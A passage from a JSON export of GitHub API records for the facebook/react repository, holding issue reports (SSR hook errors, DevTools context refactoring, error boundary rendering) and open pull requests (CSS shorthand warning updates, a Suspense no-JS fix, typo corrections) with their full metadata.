[this](https://github.com/bvaughn/react-devtools-experimental/blob/4697f5b37967b85b2c844044aeebb5b1a740875d/src/devtools/views/Profiler/ProfilerContext.js#L126-L131) or even worse like [this](https://github.com/bvaughn/react-devtools-experimental/blob/4697f5b37967b85b2c844044aeebb5b1a740875d/src/devtools/views/Profiler/SnapshotSelector.js#L62-L73) or [this](https://github.com/bvaughn/react-devtools-experimental/blob/source/src/devtools/views/Profiler/Profiler.js#L71-L83).\r\n\r\nThis context should be refactored to use a single reducer (`useReducer`) like `TreeContext`. This is a bit more involved at the moment because of suspense and the `ProfilerContext` being higher level than the suspense cache. Although maybe we could work around this by using some sort of [subscription](https://github.com/bvaughn/react-devtools-experimental/blob/4697f5b37967b85b2c844044aeebb5b1a740875d/src/devtools/views/Profiler/ProfilerContext.js#L118-L124)?\r\n\r\nSee related issues like #16441 and commit [4697f5b](https://github.com/bvaughn/react-devtools-experimental/commit/4697f5b37967b85b2c844044aeebb5b1a740875d).", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/16444/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/16416", "id": 481517156, "node_id": "MDU6SXNzdWU0ODE1MTcxNTY=", "number": 16416, "title": "SSR: Cannot set property 'memoizedState' of null", "user": { "login": "ambar", "id": 105919, "node_id": "MDQ6VXNlcjEwNTkxOQ==", "avatar_url": "https://avatars.githubusercontent.com/u/105919?v=4", "gravatar_id": "", "url": "https://api.github.com/users/ambar", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 27, "created_at": "2019-08-16T09:10:04Z", "updated_at": "2023-05-31T08:29:19Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "\r\n\r\n**Do you want to request a *feature* or report a *bug*?**\r\n\r\nA bug?\r\n\r\n**What is the current behavior?**\r\n\r\n> Cannot set property 'memoizedState' of null\r\n\r\n**If the current behavior is a bug, please provide the steps to reproduce and if possible a minimal demo of the problem. Your bug will get fixed much faster if we can run your code and it doesn't have dependencies other than React. Paste the link to your JSFiddle (https://jsfiddle.net/Luktwrdm/) or CodeSandbox (https://codesandbox.io/s/new) example below:**\r\n\r\n```js\r\nconst processLink = html => {\r\n return renderToStaticMarkup()\r\n};\r\n\r\nconst RichText = ({ html }) => {\r\n const htmlProcessed = useMemo(() => processLink(html), [html]);\r\n}\r\n```\r\nSee https://codesandbox.io/s/cannot-set-property-memoizedstate-of-null-mrxfr\r\n\r\n**What is the expected behavior?**\r\n\r\n**Which versions of React, and which browser / OS are affected by this issue? Did this work in previous versions of React?**\r\n\r\n16.8~16.9\r\n\r\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/16416/reactions", "total_count": 16, "+1": 14, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 2 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/16374", "id": 479889545, "node_id": "MDU6SXNzdWU0Nzk4ODk1NDU=", "number": 16374, "title": "Verify that Dehydrated Boundaries (and SuspenseList) Works with DevTools", "user": { "login": "sebmarkbage", "id": 63648, "node_id": "MDQ6VXNlcjYzNjQ4", "avatar_url": "https://avatars.githubusercontent.com/u/63648?v=4", "gravatar_id": "", "url": "https://api.github.com/users/sebmarkbage", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null }, "1": { "id": 710722093, "node_id": "MDU6TGFiZWw3MTA3MjIwOTM=", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Needs%20Investigation", "name": "Type: Needs Investigation", "color": "65AA9C", "default": false, "description": "" }, "2": { "id": 1775958285, "node_id": "MDU6TGFiZWwxNzc1OTU4Mjg1", "url": "https://api.github.com/repos/facebook/react/labels/React%20Core%20Team", "name": "React Core Team", "color": "9149d1", "default": false, "description": "Opened by a member of the React Core Team" } }, "state": "open", "locked": false, "assignees": { "0": { "login": "bvaughn", "id": 29597, "node_id": "MDQ6VXNlcjI5NTk3", "avatar_url": "https://avatars.githubusercontent.com/u/29597?v=4", "gravatar_id": "", "url": "https://api.github.com/users/bvaughn", "type": "User", "user_view_type": "public", "site_admin": false } }, "milestone": null, "comments": 0, "created_at": "2019-08-12T23:12:21Z", "updated_at": "2020-01-08T19:11:25Z", "closed_at": null, "assignee": { "login": "bvaughn", "id": 29597, "node_id": "MDQ6VXNlcjI5NTk3", "avatar_url": "https://avatars.githubusercontent.com/u/29597?v=4", "gravatar_id": "", "url": "https://api.github.com/users/bvaughn", "type": "User", "user_view_type": "public", "site_admin": false }, "author_association": "CONTRIBUTOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "The fixture might be a good start https://github.com/facebook/react/tree/master/fixtures/ssr (enableSuspenseServerRenderer flag to try it).\r\n\r\nIt has a long suspending thing.\r\n\r\nIt doesn't have a SuspenseList yet but might be nice.", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/16374/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/16365", "id": 479668806, "node_id": "MDU6SXNzdWU0Nzk2Njg4MDY=", "number": 16365, "title": "ErrorBoundary rendering multiple copies of itself when ref assignment fails", "user": { "login": "silverwind", "id": 115237, "node_id": "MDQ6VXNlcjExNTIzNw==", "avatar_url": "https://avatars.githubusercontent.com/u/115237?v=4", "gravatar_id": "", "url": "https://api.github.com/users/silverwind", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 739761016, "node_id": "MDU6TGFiZWw3Mzk3NjEwMTY=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Reconciler", "name": "Component: Reconciler", "color": "f9a798", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 6, "created_at": "2019-08-12T14:12:35Z", "updated_at": "2020-01-09T17:05:27Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "**Do you want to request a *feature* or report a *bug*?**\r\n\r\nbug\r\n\r\n**What is the current behavior?**\r\n\r\nWhen a error occurs during the assignment of a `ref` (and maybe other conditions), a error boundary wrapping that error may get confused and it renders itself multiple times inside the same parent. See https://codesandbox.io/s/stoic-fermi-6etqb which renders:\r\n\r\n```html\r\n
\r\n
content
\r\n
error
\r\n
\r\n```\r\n\r\n**What is the expected behavior?**\r\n\r\n```html\r\n
\r\n
error
\r\n
\r\n```", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/16365/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/16342", "id": 479129821, "node_id": "MDU6SXNzdWU0NzkxMjk4MjE=", "number": 16342, "title": "textarea does not show warning when switching from uncontrolled to controlled like inputs do", "user": { "login": "bradwestfall", "id": 2272118, "node_id": "MDQ6VXNlcjIyNzIxMTg=", "avatar_url": "https://avatars.githubusercontent.com/u/2272118?v=4", "gravatar_id": "", "url": "https://api.github.com/users/bradwestfall", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 127893911, "node_id": "MDU6TGFiZWwxMjc4OTM5MTE=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20DOM", "name": "Component: DOM", "color": "fef2c0", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 3, "created_at": "2019-08-09T19:15:55Z", "updated_at": "2019-12-01T22:39:25Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "\r\n\r\n**Do you want to request a *feature* or report a *bug*?**\r\n\r\nBug\r\n\r\n**What is the current behavior?**\r\n\r\nWhile things like `` correctly get a warning when switching from uncrontrolled to controlled, I'm noticing `\r\n\r\n\r\n\r\n```\r\n\r\nOther considerations:\r\n\r\n- Bundle size: unchanged, since this is only used in the development build\r\n- Compatibility: unchanged, same as above\r\n\r\n## How did you test this change?\r\n\r\nI modified existing test:\r\n\r\n```diff\r\ndiff --git a/packages/react-dom/src/__tests__/ReactDOMShorthandCSSPropertyCollision-test.js b/packages/react-dom/src/__tests__/ReactDOMShorthandCSSPropertyCollision-test.js\r\nindex c03107e467..6ee01ec7fd 100644\r\n--- a/packages/react-dom/src/__tests__/ReactDOMShorthandCSSPropertyCollision-test.js\r\n+++ b/packages/react-dom/src/__tests__/ReactDOMShorthandCSSPropertyCollision-test.js\r\n@@ -30,14 +30,14 @@ describe('ReactDOMShorthandCSSPropertyCollision', () => {\r\n const container = document.createElement('div');\r\n const root = ReactDOMClient.createRoot(container);\r\n await act(() => {\r\n- root.render(
);\r\n+ root.render(
);\r\n });\r\n await act(() => {\r\n- root.render(
);\r\n+ root.render(
);\r\n });\r\n assertConsoleErrorDev([\r\n- 'Removing a style property during rerender (fontStyle) ' +\r\n- 'when a conflicting property is set (font) can lead to styling ' +\r\n+ 'Removing a style property during rerender (top) ' +\r\n+ 'when a conflicting property is set (inset) can lead to styling ' +\r\n \"bugs. To avoid this, don't mix shorthand and non-shorthand \" +\r\n 'properties for the same value; instead, replace the shorthand ' +\r\n 'with separate values.' +\r\n```\r\n\r\nAnd checked the test still pass:\r\n\r\n```shellsession\r\n$ yarn test ReactDOMShorthandCSSPropertyCollision\r\nyarn run v1.22.22\r\n$ node ./scripts/jest/jest-cli.js ReactDOMShorthandCSSPropertyCollision\r\n$ NODE_ENV=development RELEASE_CHANNEL=experimental compactConsole=false node ./scripts/jest/jest.js --config ./scripts/jest/config.source.js ReactDOMShorthandCSSPropertyCollision\r\n\r\nRunning tests for default (experimental)...\r\n PASS packages/react-dom/src/__tests__/ReactDOMShorthandCSSPropertyCollision-test.js\r\n ReactDOMShorthandCSSPropertyCollision\r\n ✓ should warn for conflicting CSS shorthand updates (248 ms)\r\n\r\nTest Suites: 1 passed, 1 total\r\nTests: 1 passed, 1 total\r\nSnapshots: 0 total\r\nTime: 0.773 s, estimated 1 s\r\nRan all test suites matching /ReactDOMShorthandCSSPropertyCollision/i.\r\nDone in 1.53s.\r\n```\r\n", "created_at": "2026-01-26T20:51:35Z", "updated_at": "2026-02-03T23:23:07Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "d89d5141cb304a744aed9fbd2ae274008bcf09d4", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null } }, "milestone": null, "draft": false, "head": { "label": "kidonng:update-CSSShorthandProperty", "ref": "update-CSSShorthandProperty", "sha": "0223f235804604c595c22145b798b750ed9a90fe", "user": { "login": "kidonng", "id": 44045911, "node_id": "MDQ6VXNlcjQ0MDQ1OTEx", "avatar_url": "https://avatars.githubusercontent.com/u/44045911?v=4", "gravatar_id": "", "url": "https://api.github.com/users/kidonng", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 1142756282, "node_id": "R_kgDORB0Tug", "name": "react", "full_name": "kidonng/react", "private": false, "owner": { "login": "kidonng", "id": 44045911, "node_id": "MDQ6VXNlcjQ0MDQ1OTEx", "avatar_url": "https://avatars.githubusercontent.com/u/44045911?v=4", "gravatar_id": "", "url": "https://api.github.com/users/kidonng", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": true, "url": "https://api.github.com/repos/kidonng/react", "created_at": "2026-01-26T20:20:32Z", "updated_at": "2026-01-26T20:20:32Z", "pushed_at": "2026-01-26T20:26:56Z", "homepage": "https://react.dev", "size": 899989, "stargazers_count": 0, "watchers_count": 0, "language": null, "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "has_discussions": false, "forks_count": 0, "archived": false, "disabled": false, "open_issues_count": 0, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 0, "open_issues": 0, "watchers": 0, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "8c34556ca8df0dab34bbaf68e0dd15cd4a5e3f7f", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35636" }, "html": { "href": "https://github.com/facebook/react/pull/35636" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35636" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35636/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35636/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35636/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/0223f235804604c595c22145b798b750ed9a90fe" } }, "author_association": "NONE", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [ 1 ] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35628", "id": 3211165309, "node_id": "PR_kwDOAJy2Ks6_Zn59", "number": 35628, "state": "open", "locked": false, "title": "[Fizz] Fix Suspense SSR content hidden for no-JS users (#35460)", "user": { "login": "maxathy", "id": 206954070, "node_id": "U_kgDODFXeVg", "avatar_url": "https://avatars.githubusercontent.com/u/206954070?v=4", "gravatar_id": "", "url": "https://api.github.com/users/maxathy", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "## Summary\r\nRemoved size-based outlining condition that caused large Suspense boundaries to show fallback with a JS instruction to swap content. Without JS, the content never appeared.\r\n\r\nThis change preserves defer={true} and suspensey content outlining, but forces large content to inline, ensuring visibility for all users.\r\n\r\n## How did you test this change?\r\n\r\nAdded new regression test: Created \r\nReactDOMFizzServerNoScript-test.js\r\n that verifies large Suspense content (>2000 bytes) appears in the initial HTML stream when using a small progressiveChunkSize (100). This confirms no-JS users will see the content instead of the fallback.\r\n\r\n", "created_at": "2026-01-26T16:15:42Z", "updated_at": "2026-03-03T12:53:49Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "5d113bcc092f7ecb950d419a9652f67fe64a9d84", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null } }, "milestone": null, "draft": false, "head": { "label": "maxathy:bugfix/issue-35460", "ref": "bugfix/issue-35460", "sha": "fb79b1ef87d1c189043de7581c2714ed4f0702a0", "user": { "login": "maxathy", "id": 206954070, "node_id": "U_kgDODFXeVg", "avatar_url": "https://avatars.githubusercontent.com/u/206954070?v=4", "gravatar_id": "", "url": "https://api.github.com/users/maxathy", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 1142598117, "node_id": "R_kgDORBqp5Q", "name": "react", "full_name": "maxathy/react", "private": false, "owner": { "login": "maxathy", "id": 206954070, "node_id": "U_kgDODFXeVg", "avatar_url": "https://avatars.githubusercontent.com/u/206954070?v=4", "gravatar_id": "", "url": "https://api.github.com/users/maxathy", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": true, "url": "https://api.github.com/repos/maxathy/react", "created_at": "2026-01-26T16:07:49Z", "updated_at": "2026-01-26T16:07:49Z", "pushed_at": "2026-03-03T12:53:47Z", "homepage": "https://react.dev", "size": 126864, "stargazers_count": 0, "watchers_count": 0, "language": null, "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "has_discussions": false, "forks_count": 0, "archived": false, "disabled": false, "open_issues_count": 0, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 0, "open_issues": 0, "watchers": 0, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "aac12ce597b49093a5add54b00deee3d8980f874", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35628" }, "html": { "href": "https://github.com/facebook/react/pull/35628" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35628" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35628/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35628/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35628/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/fb79b1ef87d1c189043de7581c2714ed4f0702a0" } }, "author_association": "NONE", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35627", "id": 3210661171, "node_id": "PR_kwDOAJy2Ks6_Xs0z", "number": 35627, "state": "open", "locked": false, "title": "Fix typos in tests and comments", "user": { "login": "o-m12a", "id": 209586019, "node_id": "U_kgDODH4HYw", "avatar_url": "https://avatars.githubusercontent.com/u/209586019?v=4", "gravatar_id": "", "url": "https://api.github.com/users/o-m12a", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "\r\n\r\n## Summary\r\n\r\n\r\n\r\nI just fixed typos as followings.\r\n\r\n- `succesful` → `successful`\r\n- `becuase` → `because`\r\n- `enought` → `enough`\r\n- `defualt` → `default`\r\n\r\n## How did you test this change?\r\n\r\n\r\n\r\nThis PR only includes test case description, dummy strings for test, and comments updates, so it has no impact on runtime behavior.\r\nTherefore, I manually reviewed changed texts to ensure correctness.", "created_at": "2026-01-26T13:46:22Z", "updated_at": "2026-01-31T02:51:25Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "14bba6db8461eb2de7de0c5519d686fdf0b64ea0", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null } }, "milestone": null, "draft": false, "head": { "label": "o-m12a:fix-typos-in-tests-and-comments", "ref": "fix-typos-in-tests-and-comments", "sha": "57c253f90ec204d2bce6d8b3912f3d243934e777", "user": { "login": "o-m12a", "id": 209586019, "node_id": "U_kgDODH4HYw", "avatar_url": "https://avatars.githubusercontent.com/u/209586019?v=4", "gravatar_id": "", "url": "https://api.github.com/users/o-m12a", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 1140955430, "node_id": "R_kgDORAGZJg", "name": "react", "full_name": "o-m12a/react", "private": false, "owner": { "login": "o-m12a", "id": 209586019, "node_id": "U_kgDODH4HYw", "avatar_url": "https://avatars.githubusercontent.com/u/209586019?v=4", "gravatar_id": "", "url": "https://api.github.com/users/o-m12a", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": true, "url": "https://api.github.com/repos/o-m12a/react", "created_at": "2026-01-24T01:41:58Z", "updated_at": "2026-01-26T10:44:03Z", "pushed_at": "2026-01-26T14:20:25Z", "homepage": "https://react.dev", "size": 125015, "stargazers_count": 0, "watchers_count": 0, "language": "JavaScript", "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "has_discussions": false, "forks_count": 0, "archived": false, "disabled": false, "open_issues_count": 0, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 0, "open_issues": 0, "watchers": 0, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "3e319a943cff862b8fbb8e96868f9f153a9e199d", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35627" }, "html": { "href": "https://github.com/facebook/react/pull/35627" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35627" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35627/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35627/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35627/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/57c253f90ec204d2bce6d8b3912f3d243934e777" } }, "author_association": "NONE", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35623", "id": 3208699281, "node_id": "PR_kwDOAJy2Ks6_QN2R", "number": 35623, "state": "open", "locked": false, "title": "Fix typo: accomodate -> accommodate", "user": { "login": "bodhisilberling", "id": 194859698, "node_id": "U_kgDOC51Ssg", "avatar_url": "https://avatars.githubusercontent.com/u/194859698?v=4", "gravatar_id": "", "url": "https://api.github.com/users/bodhisilberling", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "Fixed spelling error in comment:\r\n- Fixed 'accomodate' -> 'accommodate' in InferMutationAliasingEffects.ts\r\n\r\n\r\n\r\n## Summary\r\n\r\n\r\n\r\n## How did you test this change?\r\n\r\n\r\n", "created_at": "2026-01-25T18:51:13Z", "updated_at": "2026-01-31T02:52:52Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "3ded4d87c6b9e1bd77f2d2d82a8b35912c61efa1", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null } }, "milestone": null, "draft": false, "head": { "label": "bodhisilberling:fix/typo-accomodate", "ref": "fix/typo-accomodate", "sha": "82c001d310f94a92ee09be2f69dbd43ce99d20c3", "user": { "login": "bodhisilberling", "id": 194859698, "node_id": "U_kgDOC51Ssg", "avatar_url": "https://avatars.githubusercontent.com/u/194859698?v=4", "gravatar_id": "", "url": "https://api.github.com/users/bodhisilberling", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 1137941300, "node_id": "R_kgDOQ9ObNA", "name": "react", "full_name": "bodhisilberling/react", "private": false, "owner": { "login": 